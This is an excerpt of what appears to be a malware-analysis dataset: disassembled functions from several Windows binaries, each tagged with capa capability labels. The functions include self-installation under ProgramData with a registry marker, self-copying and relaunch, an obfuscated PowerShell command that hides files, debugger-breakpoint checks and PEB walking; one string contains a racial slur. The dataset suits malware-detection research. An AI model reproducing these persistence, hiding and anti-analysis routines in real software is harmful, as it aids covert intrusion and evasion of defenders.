joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401cd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x50]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov eax, 1
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x18]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401e47
push 0
lea edx, [ebp - 0x48]
mov eax, 0
call fcn.0040ced0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, str.ProgramDataMicrosoft_
mov dword [ebp - 0x40], eax
mov eax, 5
call fcn.00406c30
add eax, 6
lea ecx, [ebp - 0x4c]
mov edx, 0x4111f8
call fcn.0040d2a0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, 0x411244
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x44]
lea eax, [ebp - 4]
mov ecx, 3
call fcn.00403d50
push 0
mov eax, 0x411254
mov dword [ebp - 0x40], eax
mov eax, 5
call fcn.00406c30
add eax, 6
lea ecx, [ebp - 0x4c]
mov edx, 0x4111f8
call fcn.0040d2a0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, str..exe
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x40]
lea eax, [ebp - 8]
mov ecx, 2
call fcn.00403d50
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
lea eax, [ebp - 0xc]
call fcn.00403ae0
lea eax, [ebp - 0x50]
call fcn.004032a0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x50]
call fcn.004039e0
mov eax, dword [ebp - 0x50]
call fcn.0040cea0
test al, al
jne 0x401e13
lea eax, [ebp - 0x50]
call fcn.004032a0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x50]
call fcn.004039e0
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x401e06
mov eax, 0x4132f0
push eax
call sub.kernel32.dll_CreateDirectoryA
or eax, eax
setne dl
mov al, dl
mov eax, dword [ebp - 0xc]
call fcn.00401ba0
test al, al
je 0x401e47
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
call fcn.004017a0
mov eax, str.yeah
push eax
mov ecx, str.coreinstalled2
mov edx, str.SOFTWAREMicrosoft
mov eax, 0x80000002
call fcn.004016d0
call fcn.004062b0
lea eax, [ebp - 0x50]
call fcn.004032a0
lea eax, [ebp - 0x4c]
call fcn.004032a0
lea eax, [ebp - 0x48]
call fcn.004032a0
lea eax, [ebp - 4]
call fcn.004032a0
lea eax, [ebp - 8]
call fcn.004032a0
lea eax, [ebp - 0xc]
call fcn.004032a0
pop eax
test eax, eax
je 0x401e86
call fcn.004063e0
leave
ret

Function at 0x401f10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x54]
push ebx
push esi
mov ebx, eax
mov esi, edx
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.0040be70
push 0x10
lea eax, [ebp - 0x54]
push eax
call fcn.0040be70
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
test esi, esi
jne 0x401f50
mov esi, 0x4132f0
push esi
mov eax, ebx
test ebx, ebx
jne 0x401f5c
mov eax, 0x4132f0
push eax
call sub.kernel32.dll_CreateProcessA
push dword [ebp - 0x50]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x54]
call sub.kernel32.dll_CloseHandle
pop esi
pop ebx
leave
ret
Function at 0x402110
Capabilities:
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x3c]
push ebx
push esi
push edi
mov edi, eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov eax, 1
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x14]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x4022cc
lea eax, [ebp - 0x34]
call fcn.004032a0
mov edx, dword [edi + 4]
lea eax, [ebp - 0x34]
call fcn.004039e0
lea eax, [ebp - 0x38]
call fcn.004032a0
mov edx, dword [edi]
lea eax, [ebp - 0x38]
call fcn.004039e0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40218e
mov eax, 0x4132f0
push eax
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40219b
mov eax, 0x4132f0
push eax
call sub.kernel32.dll_MoveFileA
or eax, eax
setne dl
mov al, dl
lea eax, [ebp - 0x38]
call fcn.004032a0
mov eax, dword [edi]
test eax, eax
jne 0x4021bb
mov eax, 0x4132f0
lea ecx, [ebp - 0x34]
mov dx, 0
call fcn.004042d0
mov edx, dword [ebp - 0x34]
lea eax, [ebp - 0x38]
call fcn.004039e0
lea eax, [ebp - 0x34]
call fcn.004032a0
mov eax, dword [edi + 4]
test eax, eax
jne 0x4021e6
mov eax, 0x4132f0
lea ecx, [ebp - 0x3c]
mov dx, 0
call fcn.004042d0
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x34]
call fcn.004039e0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40220b
mov eax, 0x4132f0
push eax
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x402218
mov eax, 0x4132f0
push eax
call sub.kernel32.dll_CopyFileA
or eax, eax
setne dl
mov al, dl
mov eax, dword [edi]
lea edx, [ebp - 0x3c]
call fcn.0040cc10
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 4]
call fcn.004039e0
lea eax, [ebp - 4]
call fcn.00402090
lea eax, [ebp - 4]
call fcn.0040fc20
mov edx, dword [edi]
lea eax, [ebp - 8]
call fcn.004039e0
call fcn.0040a440
test eax, eax
jle 0x4022ab
call fcn.0040a440
mov ebx, eax
mov esi, 1
cmp ebx, esi
jb 0x4022ab
sub esi, 1
add esi, 1
push 0
lea eax, [ebp - 0x3c]
call fcn.004032a0
push 0
lea edx, [ebp - 0x38]
mov eax, esi
call fcn.0040b1d0
mov ecx, dword [ebp - 0x38]
mov edx, 0x41128c
lea eax, [ebp - 0x3c]
call fcn.00403ae0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 8]
lea eax, [ebp - 8]
call fcn.00403ae0
cmp ebx, esi
ja 0x402270
mov eax, dword [edi]
mov edx, dword [ebp - 4]
call fcn.0040cd00
mov eax, dword [edi]
mov edx, dword [ebp - 8]
call fcn.00401f10
push 0
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_TerminateProcess
call fcn.004062b0
lea eax, [ebp - 0x3c]
call fcn.004032a0
lea eax, [ebp - 0x38]
call fcn.004032a0
lea eax, [ebp - 0x34]
call fcn.004032a0
lea eax, [ebp - 4]
call fcn.004032a0
lea eax, [ebp - 8]
call fcn.004032a0
pop eax
test eax, eax
je 0x402303
call fcn.004063e0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406a60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x413350], eax
mov ecx, 1
sub ecx, 1
lea esi, [esi]
add ecx, 1
mov edx, dword [ecx*4 + 0x41334c]
mov eax, edx
shr eax, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
lea eax, [eax + ecx]
mov dword [ecx*4 + 0x413350], eax
cmp ecx, 0x26f
jl 0x406a70
mov dword [0x410430], 0x270
ret
Function at 0x406ab0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, dword [0x412010]
cmp eax, dword [0x4103e0]
je 0x406ac8
mov dword [0x410430], 0x271
cmp dword [0x410430], 0x270
jl 0x406be7
cmp dword [0x410430], 0x271
jne 0x406aff
mov eax, dword [0x412010]
call fcn.00406a60
mov eax, dword [0x412010]
not eax
mov dword [0x412010], eax
mov dword [0x4103e0], eax
mov ebx, 0
sub ebx, 1
nop
add ebx, 1
mov eax, dword [ebx*4 + 0x413354]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x413350]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x413984]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x410440]
xor edx, eax
mov dword [ebx*4 + 0x413350], edx
cmp ebx, 0xe2
jl 0x406b08
mov ebx, 0xe3
sub ebx, 1
mov esi, esi
add ebx, 1
mov eax, dword [ebx*4 + 0x413354]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x413350]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x412fc4]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x410440]
xor edx, eax
mov dword [ebx*4 + 0x413350], edx
cmp ebx, 0x26e
jl 0x406b5c
mov eax, dword [0x413d0c]
and eax, 0x80000000
mov edx, dword [0x413350]
and edx, 0x7fffffff
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [0x413980]
xor edx, eax
and ecx, 1
mov eax, dword [ecx*4 + 0x410440]
xor eax, edx
mov dword [0x413d0c], eax
mov dword [0x410430], 0
mov eax, dword [0x410430]
mov eax, dword [eax*4 + 0x413350]
add dword [0x410430], 1
mov edx, eax
shr edx, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor eax, edx
mov edx, eax
shl edx, 0xf
and edx, 0xefc60000
xor eax, edx
mov edx, eax
shr edx, 0x12
xor eax, edx
pop ebx
ret

Function at 0x408450
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x410190]
cmp ax, 0xcb
je 0x40854c
cmp ax, 0xcc
je 0x40854c
mov edx, dword [0x413f60]
test edx, edx
je 0x408482
mov eax, dword [0x413e00]
call edx
mov ebx, eax
jmp 0x408487
mov ebx, 0x413e04
cmp word [0x413df0], 0
jle 0x4084aa
mov eax, 0x413dd0
call fcn.004086c0
mov eax, ebx
call fcn.00408030
mov eax, ebx
call fcn.004080a0
mov edi, dword [ebx]
jmp 0x4084ca
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x4084c5
mov edx, edi
mov eax, ebx
call fcn.00407500
jmp 0x4084c8
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x4084b0
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x413df0], 0
jle 0x40854c
mov edx, 0x413d10
mov eax, ebx
call fcn.00407630
mov edi, eax
test edi, edi
je 0x40851f
mov eax, dword [0x413da4]
mov dword [edi + 0xc], eax
cmp dword [0x413da4], 0
je 0x408514
mov eax, dword [0x413da4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x413da4], eax
sub word [0x413df0], 1
cmp word [0x413df0], 0
sete bl
mov eax, 0x413dd0
call fcn.004086d0
test bl, bl
je 0x40854c
mov eax, 0x413dd0
call fcn.004086b0
pop edi
pop esi
pop ebx
ret
Function at 0x40a1e0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x114], 0
mov dword [0x413250], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
mov eax, ebp
mov edx, 0
call fcn.0040a3c0
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x413250]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00402d90
call sub.kernel32.dll_GetCommandLineA
mov dword [0x410200], eax
mov esi, dword [0x410200]
jmp 0x40a380
add esi, 1
movzx eax, byte [esi]
sub eax, 1
cmp eax, 0x20
jb 0x40a270
cmp byte [esi], 0
je 0x40a389
mov byte [ebp - 0x10c], 0
mov edi, esi
mov dword [ebp - 0x110], 0
jmp 0x40a2e5
mov al, byte [esi]
cmp al, 1
jb 0x40a2db
sub al, 0x20
jbe 0x40a2ac
sub al, 2
je 0x40a2bf
jmp 0x40a2db
mov al, byte [ebp - 0x10c]
test al, al
je 0x40a2ea
add dword [ebp - 0x110], 1
jmp 0x40a2e2
cmp byte [esi + 1], 0x22
je 0x40a2d6
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x40a2e2
add esi, 1
jmp 0x40a2e2
add dword [ebp - 0x110], 1
add esi, 1
cmp byte [esi], 0
jne 0x40a29c
test dword [ebp - 0x114], 0xffffffff
je 0x40a379
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x114]
mov eax, ebp
call fcn.0040a3c0
mov byte [ebp - 0x10c], 0
mov esi, edi
mov eax, dword [0x413250]
mov edx, dword [ebp - 0x114]
mov ebx, dword [eax + edx*4]
jmp 0x40a371
mov al, byte [esi]
cmp al, 1
jb 0x40a367
sub al, 0x20
jbe 0x40a338
sub al, 2
je 0x40a34b
jmp 0x40a367
mov al, byte [ebp - 0x10c]
test al, al
je 0x40a376
mov al, byte [esi]
mov byte [ebx], al
add ebx, 1
jmp 0x40a36e
cmp byte [esi + 1], 0x22
je 0x40a362
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x40a36e
add esi, 1
jmp 0x40a36e
mov al, byte [esi]
mov byte [ebx], al
add ebx, 1
add esi, 1
cmp byte [esi], 0
jne 0x40a328
mov byte [ebx], 0
add dword [ebp - 0x114], 1
cmp byte [esi], 0
jne 0x40a273
mov ebx, dword [ebp - 0x114]
mov dword [0x413240], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x413250
call fcn.004082b0
mov eax, dword [0x413250]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b5f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 8], eax
mov esi, esi
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040b5b0
test al, al
jne 0x40b627
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x40b608
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40bb70
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x7c]
push ebx
push esi
push edi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], pe_nt_image_headers32
mov dword [ebp - 0xc], 0x20
mov dword [ebp - 8], 0x40
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], eax
mov edx, dword [eax + 0x30]
mov eax, dword [ecx + 0x3c]
lea eax, [edx + eax]
movzx edx, word [eax + 6]
add eax, 0xf8
mov dword [ebp - 0x74], eax
lea eax, [edx - 1]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
jb 0x40bcf5
sub dword [ebp - 0x6c], 1
lea esi, [esi]
add dword [ebp - 0x6c], 1
imul eax, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x74]
lea esi, [eax + edx]
lea edi, [ebp - 0x4c]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x7c]
or edx, eax
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
test dword [ebp - 0x50], 0xffffffff
je 0x40bce9
mov ebx, dword [ebp - 0x28]
mov eax, ebx
and eax, 0x2000000
je 0x40bc4c
push 0x4000
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 8]
jmp 0x40bce9
mov eax, ebx
and eax, 0x20000000
je 0x40bc5e
mov dword [ebp - 0x68], 1
jmp 0x40bc65
mov dword [ebp - 0x68], 0
mov eax, ebx
and eax, 0x40000000
je 0x40bc77
mov dword [ebp - 0x64], 1
jmp 0x40bc7e
mov dword [ebp - 0x64], 0
mov eax, ebx
and eax, 0x80000000
je 0x40bc90
mov dword [ebp - 0x60], 1
jmp 0x40bc97
mov dword [ebp - 0x60], 0
mov eax, ebx
and eax, 0x4000000
je 0x40bca9
mov dword [ebp - 0x5c], 1
jmp 0x40bcb0
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x68]
shl eax, 4
lea eax, [ebp + eax - 0x24]
mov edx, dword [ebp - 0x64]
lea ecx, [eax + edx*8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x5c], 1
jne 0x40bcd6
or dword [ebp - 0x54], 0x200
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 4]
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
ja 0x40bbf4
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cea0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
test eax, eax
jne 0x40ceac
mov eax, 0x4132f0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40cec0
and eax, 0x10
jbe 0x40cec0
mov al, 1
jmp 0x40cec2
mov al, 0
leave
ret
Function at 0x4021ff
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0
push 0
push 0
lea ecx, [ebp - 0x18]
call fcn.0040230f
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x48], 0x30
and dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0x401ed4
and dword [ebp - 0x3c], 0
and dword [ebp - 0x38], 0
mov eax, dword [section..data]
mov dword [ebp - 0x34], eax
push 0x74
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x30], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x2c], eax
and dword [ebp - 0x28], 0
and dword [ebp - 0x24], 0
mov dword [ebp - 0x20], str.MyClass
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push dword [section..data]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Hello_World
push str.MyClass
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4022ec
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x4022cc
push dword [ebp - 4]
call sub.gdiplus.dll_GdiplusShutdown
leave
ret

Function at 0x401090
Capabilities:
Hide graphical window

Disassembly:
mov ebp, esp
push esi
lea eax, [0x4032cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [ebp + 4]
mov dword [0x403183], eax
xor eax, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x4010bd
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x403183]
mov dword [ebp - 0x48], eax
mov eax, 0x402353
mov dword [ebp - 0x54], eax
mov ecx, str.secondclass
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x403183]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403328], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403328]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x40117b
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x40116d
mov esp, ebp
ret
Function at 0x40190f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00401f9b
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0x40a863
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, 0
leave
ret

Function at 0x40197b
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x14], 7
mov dword [esp], 0x348
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x4019ce
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x409020]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jl 0x4019b1
mov dword [esp], str.twatter_make_a_fadoong_n
call sub.msvcrt.dll_puts
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040190f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401a0d
mov dword [esp], str.Create_batch_failed
call sub.msvcrt.dll_puts
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x3f], 0x65776f70
mov dword [ebp - 0x3b], 0x65687372
mov dword [ebp - 0x37], 0x53206c6c
mov dword [ebp - 0x33], 0x492d7465
mov dword [ebp - 0x2f], 0x506d6574
mov dword [ebp - 0x2b], 0x65706f72
mov dword [ebp - 0x27], 0x20797472
mov dword [ebp - 0x23], 0x7461502d
mov dword [ebp - 0x20], 0x206874
mov dword [ebp - 0x7c], 0x6d614e2d
mov dword [ebp - 0x78], 0x74412065
mov dword [ebp - 0x74], 0x62697274
mov dword [ebp - 0x70], 0x73657475
mov dword [ebp - 0x6c], 0x61562d20
mov dword [ebp - 0x68], 0x2065756c
mov dword [ebp - 0x64], 0x79535b28
mov dword [ebp - 0x60], 0x6d657473
mov dword [ebp - 0x5c], 0x2e4f492e
mov dword [ebp - 0x58], 0x656c6946
mov dword [ebp - 0x54], 0x72747441
mov dword [ebp - 0x50], 0x74756269
mov dword [ebp - 0x4c], 0x3a5d7365
mov dword [ebp - 0x48], 0x6469483a
mov dword [ebp - 0x44], 0x296e6564
mov byte [ebp - 0x40], 0
lea eax, [ebp - 0x7c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x3f]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__s
lea eax, [ebp - 0x270]
mov dword [esp], eax
call fcn.004015ec
lea eax, [ebp - 0x270]
mov dword [esp], eax
call sub.msvcrt.dll_system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401b0e
mov dword [esp], str.Set_attribute_of_file_to_hidden
call sub.msvcrt.dll_puts
mov eax, dword [ebp + 8]
leave
ret
Function at 0x401b13
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x14], 0x13
mov dword [esp], 0x8e8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x401b66
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x409040]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jl 0x401b49
mov dword [esp], str.agondo_fucaka_nigga_n
call sub.msvcrt.dll_puts
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040190f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401ba5
mov dword [esp], str.Create_batch_failed
call sub.msvcrt.dll_puts
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x3f], 0x65776f70
mov dword [ebp - 0x3b], 0x65687372
mov dword [ebp - 0x37], 0x53206c6c
mov dword [ebp - 0x33], 0x492d7465
mov dword [ebp - 0x2f], 0x506d6574
mov dword [ebp - 0x2b], 0x65706f72
mov dword [ebp - 0x27], 0x20797472
mov dword [ebp - 0x23], 0x7461502d
mov dword [ebp - 0x20], 0x206874
mov dword [ebp - 0x7c], 0x6d614e2d
mov dword [ebp - 0x78], 0x74412065
mov dword [ebp - 0x74], 0x62697274
mov dword [ebp - 0x70], 0x73657475
mov dword [ebp - 0x6c], 0x61562d20
mov dword [ebp - 0x68], 0x2065756c
mov dword [ebp - 0x64], 0x79535b28
mov dword [ebp - 0x60], 0x6d657473
mov dword [ebp - 0x5c], 0x2e4f492e
mov dword [ebp - 0x58], 0x656c6946
mov dword [ebp - 0x54], 0x72747441
mov dword [ebp - 0x50], 0x74756269
mov dword [ebp - 0x4c], 0x3a5d7365
mov dword [ebp - 0x48], 0x6469483a
mov dword [ebp - 0x44], 0x296e6564
mov byte [ebp - 0x40], 0
lea eax, [ebp - 0x7c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x3f]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__s
lea eax, [ebp - 0x270]
mov dword [esp], eax
call fcn.004015ec
lea eax, [ebp - 0x270]
mov dword [esp], eax
call sub.msvcrt.dll_system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401ca6
mov dword [esp], str.Set_attribute_of_file_to_hidden
call sub.msvcrt.dll_puts
mov eax, dword [ebp + 8]
leave
ret

Function at 0x402450
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00408560
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00408560
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]